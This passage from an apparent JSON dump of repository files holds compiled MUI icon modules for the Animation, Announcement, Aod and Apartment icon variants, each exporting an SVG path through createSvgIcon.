    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 2c-2.71 0-5.05 1.54-6.22 3.78-1.28.67-2.34 1.72-3 3C3.54 9.95 2 12.29 2 15c0 3.87 3.13 7 7 7 2.71 0 5.05-1.54 6.22-3.78 1.28-.67 2.34-1.72 3-3C20.46 14.05 22 11.71 22 9c0-3.87-3.13-7-7-7M9 20c-2.76 0-5-2.24-5-5 0-1.12.37-2.16 1-3 0 3.87 3.13 7 7 7-.84.63-1.88 1-3 1m3-3c-2.76 0-5-2.24-5-5 0-1.12.37-2.16 1-3 0 3.86 3.13 6.99 7 7-.84.63-1.88 1-3 1m4.7-3.3c-.53.19-1.1.3-1.7.3-2.76 0-5-2.24-5-5 0-.6.11-1.17.3-1.7.53-.19 1.1-.3 1.7-.3 2.76 0 5 2.24 5 5 0 .6-.11 1.17-.3 1.7M19 12c0-3.86-3.13-6.99-7-7 .84-.63 1.87-1 3-1 2.76 0 5 2.24 5 5 0 1.12-.37 2.16-1 3\"\n}), 'AnimationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AnimationTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 12c-.63.84-1 1.88-1 3 0 2.76 2.24 5 5 5 1.12 0 2.16-.37 3-1-3.87 0-7-3.13-7-7m10-8c-1.13 0-2.16.37-3 1 3.87.01 7 3.14 7 7 .63-.84 1-1.88 1-3 0-2.76-2.24-5-5-5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7c-.6 0-1.17.11-1.7.3-.19.53-.3 1.1-.3 1.7 0 2.76 2.24 5 5 5 .6 0 1.17-.11 1.7-.3.19-.53.3-1.1.3-1.7 0-2.76-2.24-5-5-5\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 9c-.63.84-1 1.88-1 3 0 2.76 2.24 5 5 5 1.12 0 2.16-.37 3-1-3.87-.01-7-3.14-7-7\",\n  opacity: \".3\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 2c-2.71 0-5.05 1.54-6.22 3.78-1.28.67-2.34 1.72-3 3C3.54 9.95 2 12.29 2 15c0 3.87 3.13 7 7 7 2.71 0 5.05-1.54 6.22-3.78 1.28-.67 2.34-1.72 3-3C20.46 14.05 22 11.71 22 9c0-3.87-3.13-7-7-7M9 20c-2.76 0-5-2.24-5-5 0-1.12.37-2.16 1-3 0 3.87 3.13 7 7 7-.84.63-1.88 1-3 1m3-3c-2.76 0-5-2.24-5-5 0-1.12.37-2.16 1-3 0 3.86 3.13 6.99 7 7-.84.63-1.88 1-3 1m4.7-3.3c-.53.19-1.1.3-1.7.3-2.76 0-5-2.24-5-5 0-.6.11-1.17.3-1.7.53-.19 1.1-.3 1.7-.3 2.76 0 5 2.24 5 5 0 .6-.11 1.17-.3 1.7M19 12c0-3.86-3.13-6.99-7-7 .84-.63 1.87-1 3-1 2.76 0 5 2.24 5 5 0 1.12-.37 2.16-1 3\"\n}, \"3\")], 'AnimationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AnimationTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 12c-.63.84-1 1.88-1 3 0 2.76 2.24 5 5 5 1.12 0 2.16-.37 3-1-3.87 0-7-3.13-7-7m10-8c-1.13 0-2.16.37-3 1 3.87.01 7 3.14 7 7 .63-.84 1-1.88 1-3 0-2.76-2.24-5-5-5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7c-.6 0-1.17.11-1.7.3-.19.53-.3 1.1-.3 1.7 0 2.76 2.24 5 5 5 .6 0 1.17-.11 1.7-.3.19-.53.3-1.1.3-1.7 0-2.76-2.24-5-5-5\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 9c-.63.84-1 1.88-1 3 0 2.76 2.24 5 5 5 1.12 0 2.16-.37 3-1-3.87-.01-7-3.14-7-7\",\n  opacity: \".3\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 2c-2.71 0-5.05 1.54-6.22 3.78-1.28.67-2.34 1.72-3 3C3.54 9.95 2 12.29 2 15c0 3.87 3.13 7 7 7 2.71 0 5.05-1.54 6.22-3.78 1.28-.67 2.34-1.72 3-3C20.46 14.05 22 11.71 22 9c0-3.87-3.13-7-7-7M9 20c-2.76 0-5-2.24-5-5 0-1.12.37-2.16 1-3 0 3.87 3.13 7 7 7-.84.63-1.88 1-3 1m3-3c-2.76 0-5-2.24-5-5 0-1.12.37-2.16 1-3 0 3.86 3.13 6.99 7 7-.84.63-1.88 1-3 1m4.7-3.3c-.53.19-1.1.3-1.7.3-2.76 0-5-2.24-5-5 0-.6.11-1.17.3-1.7.53-.19 1.1-.3 1.7-.3 2.76 0 5 2.24 5 5 0 .6-.11 1.17-.3 1.7M19 12c0-3.86-3.13-6.99-7-7 .84-.63 1.87-1 3-1 2.76 0 5 2.24 5 5 0 1.12-.37 2.16-1 3\"\n}, \"3\")], 'AnimationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Announcement.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-7 9h-2V5h2zm0 4h-2v-2h2z\"\n}), 'Announcement');"
  },
  {
    "path": "packages/mui-icons-material/lib/Announcement.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-7 9h-2V5h2zm0 4h-2v-2h2z\"\n}), 'Announcement');"
  },
  {
    "path": "packages/mui-icons-material/lib/AnnouncementOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17L4 17.17V4h16zM11 5h2v6h-2zm0 8h2v2h-2z\"\n}), 'AnnouncementOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AnnouncementOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17L4 17.17V4h16zM11 5h2v6h-2zm0 8h2v2h-2z\"\n}), 'AnnouncementOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AnnouncementRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-8 9c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1s1 .45 1 1v4c0 .55-.45 1-1 1m1 4h-2v-2h2z\"\n}), 'AnnouncementRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AnnouncementRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-8 9c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1s1 .45 1 1v4c0 .55-.45 1-1 1m1 4h-2v-2h2z\"\n}), 'AnnouncementRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AnnouncementSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 2H2v20l4-4h16zm-9 9h-2V5h2zm0 4h-2v-2h2z\"\n}), 'AnnouncementSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AnnouncementSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 2H2v20l4-4h16zm-9 9h-2V5h2zm0 4h-2v-2h2z\"\n}), 'AnnouncementSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AnnouncementTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 4v13.17l.59-.59.58-.58H20V4zm9 11h-2v-2h2zm0-4h-2V5h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17l-.59.59-.58.58V4h16zM11 5h2v6h-2zm0 8h2v2h-2z\"\n}, \"1\")], 'AnnouncementTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AnnouncementTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 4v13.17l.59-.59.58-.58H20V4zm9 11h-2v-2h2zm0-4h-2V5h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17l-.59.59-.58.58V4h16zM11 5h2v6h-2zm0 8h2v2h-2z\"\n}, \"1\")], 'AnnouncementTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Aod.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 18H7V6h10zm-9-8h8v1.5H8zm1 3h6v1.5H9z\"\n}), 'Aod');"
  },
  {
    "path": "packages/mui-icons-material/lib/Aod.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 18H7V6h10zm-9-8h8v1.5H8zm1 3h6v1.5H9z\"\n}), 'Aod');"
  },
  {
    "path": "packages/mui-icons-material/lib/AodOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 21H7v-1h10zm0-3H7V6h10zm0-14H7V3h10zm-9 6h8v1.5H8zm1 3h6v1.5H9z\"\n}), 'AodOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AodOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 21H7v-1h10zm0-3H7V6h10zm0-14H7V3h10zm-9 6h8v1.5H8zm1 3h6v1.5H9z\"\n}), 'AodOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AodRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 18H7V6h10zm-8.25-8h6.5c.41 0 .75.34.75.75s-.34.75-.75.75h-6.5c-.41 0-.75-.34-.75-.75s.34-.75.75-.75m1 3h4.5c.41 0 .75.34.75.75s-.34.75-.75.75h-4.5c-.41 0-.75-.34-.75-.75s.34-.75.75-.75\"\n}), 'AodRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AodRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 18H7V6h10zm-8.25-8h6.5c.41 0 .75.34.75.75s-.34.75-.75.75h-6.5c-.41 0-.75-.34-.75-.75s.34-.75.75-.75m1 3h4.5c.41 0 .75.34.75.75s-.34.75-.75.75h-4.5c-.41 0-.75-.34-.75-.75s.34-.75.75-.75\"\n}), 'AodRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AodSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 1H5v22h14zm-2 17H7V6h10zm-9-8h8v1.5H8zm1 3h6v1.5H9z\"\n}), 'AodSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AodSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 1H5v22h14zm-2 17H7V6h10zm-9-8h8v1.5H8zm1 3h6v1.5H9z\"\n}), 'AodSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AodTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 21H7v-1h10zm0-3H7V6h10zm0-14H7V3h10zm-9 6h8v1.5H8zm1 3h6v1.5H9z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 21h10v-1H7zM7 3v1h10V3z\",\n  opacity: \".3\"\n}, \"1\")], 'AodTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AodTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 21H7v-1h10zm0-3H7V6h10zm0-14H7V3h10zm-9 6h8v1.5H8zm1 3h6v1.5H9z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 21h10v-1H7zM7 3v1h10V3z\",\n  opacity: \".3\"\n}, \"1\")], 'AodTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Apartment.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 11V3H7v4H3v14h8v-4h2v4h8V11zM7 19H5v-2h2zm0-4H5v-2h2zm0-4H5V9h2zm4 4H9v-2h2zm0-4H9V9h2zm0-4H9V5h2zm4 8h-2v-2h2zm0-4h-2V9h2zm0-4h-2V5h2zm4 12h-2v-2h2zm0-4h-2v-2h2z\"\n}), 'Apartment');"
  },
  {
    "path": "packages/mui-icons-material/lib/Apartment.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 11V3H7v4H3v14h8v-4h2v4h8V11zM7 19H5v-2h2zm0-4H5v-2h2zm0-4H5V9h2zm4 4H9v-2h2zm0-4H9V9h2zm0-4H9V5h2zm4 8h-2v-2h2zm0-4h-2V9h2zm0-4h-2V5h2zm4 12h-2v-2h2zm0-4h-2v-2h2z\"\n}), 'Apartment');"
  },
  {
    "path": "packages/mui-icons-material/lib/ApartmentOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 11V3H7v4H3v14h8v-4h2v4h8V11zM7 19H5v-2h2zm0-4H5v-2h2zm0-4H5V9h2zm4 4H9v-2h2zm0-4H9V9h2zm0-4H9V5h2zm4 8h-2v-2h2zm0-4h-2V9h2zm0-4h-2V5h2zm4 12h-2v-2h2zm0-4h-2v-2h2z\"\n}), 'ApartmentOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ApartmentOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 11V3H7v4H3v14h8v-4h2v4h8V11zM7 19H5v-2h2zm0-4H5v-2h2zm0-4H5V9h2zm4 4H9v-2h2zm0-4H9V9h2zm0-4H9V5h2zm4 8h-2v-2h2zm0-4h-2V9h2zm0-4h-2V5h2zm4 12h-2v-2h2zm0-4h-2v-2h2z\"\n}), 'ApartmentOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ApartmentRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 11V5c0-1.1-.9-2-2-2H9c-1.1 0-2 .9-2 2v2H5c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h5c.55 0 1-.45 1-1v-3h2v3c0 .55.45 1 1 1h5c1.1 0 2-.9 2-2v-6c0-1.1-.9-2-2-2zM7 19H5v-2h2zm0-4H5v-2h2zm0-4H5V9h2zm4 4H9v-2h2zm0-4H9V9h2zm0-4H9V5h2zm4 8h-2v-2h2zm0-4h-2V9h2zm0-4h-2V5h2zm4 12h-2v-2h2zm0-4h-2v-2h2z\"\n}), 'ApartmentRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ApartmentRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 11V5c0-1.1-.9-2-2-2H9c-1.1 0-2 .9-2 2v2H5c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h5c.55 0 1-.45 1-1v-3h2v3c0 .55.45 1 1 1h5c1.1 0 2-.9 2-2v-6c0-1.1-.9-2-2-2zM7 19H5v-2h2zm0-4H5v-2h2zm0-4H5V9h2zm4 4H9v-2h2zm0-4H9V9h2zm0-4H9V5h2zm4 8h-2v-2h2zm0-4h-2V9h2zm0-4h-2V5h2zm4 12h-2v-2h2zm0-4h-2v-2h2z\"\n}), 'ApartmentRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ApartmentSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 11V3H7v4H3v14h8v-4h2v4h8V11zM7 19H5v-2h2zm0-4H5v-2h2zm0-4H5V9h2zm4 4H9v-2h2zm0-4H9V9h2zm0-4H9V5h2zm4 8h-2v-2h2zm0-4h-2V9h2zm0-4h-2V5h2zm4 12h-2v-2h2zm0-4h-2v-2h2z\"\n}), 'ApartmentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ApartmentSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 11V3H7v4H3v14h8v-4h2v4h8V11zM7 19H5v-2h2zm0-4H5v-2h2zm0-4H5V9h2zm4 4H9v-2h2zm0-4H9V9h2zm0-4H9V5h2zm4 8h-2v-2h2zm0-4h-2V9h2zm0-4h-2V5h2zm4 12h-2v-2h2zm0-4h-2v-2h2z\"\n}), 'ApartmentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ApartmentTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 11V3H7v4H3v14h8v-4h2v4h8V11zM7 19H5v-2h2zm0-4H5v-2h2zm0-4H5V9h2zm4 4H9v-2h2zm0-4H9V9h2zm0-4H9V5h2zm4 8h-2v-2h2zm0-4h-2V9h2zm0-4h-2V5h2zm4 12h-2v-2h2zm0-4h-2v-2h2z\"\n}), 'ApartmentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ApartmentTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 11V3H7v4H3v14h8v-4h2v4h8V11zM7 19H5v-2h2zm0-4H5v-2h2zm0-4H5V9h2zm4 4H9v-2h2zm0-4H9V9h2zm0-4H9V5h2zm4 8h-2v-2h2zm0-4h-2V9h2zm0-4h-2V5h2zm4 12h-2v-2h2zm0-4h-2v-2h2z\"\n}), 'ApartmentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Api.js",
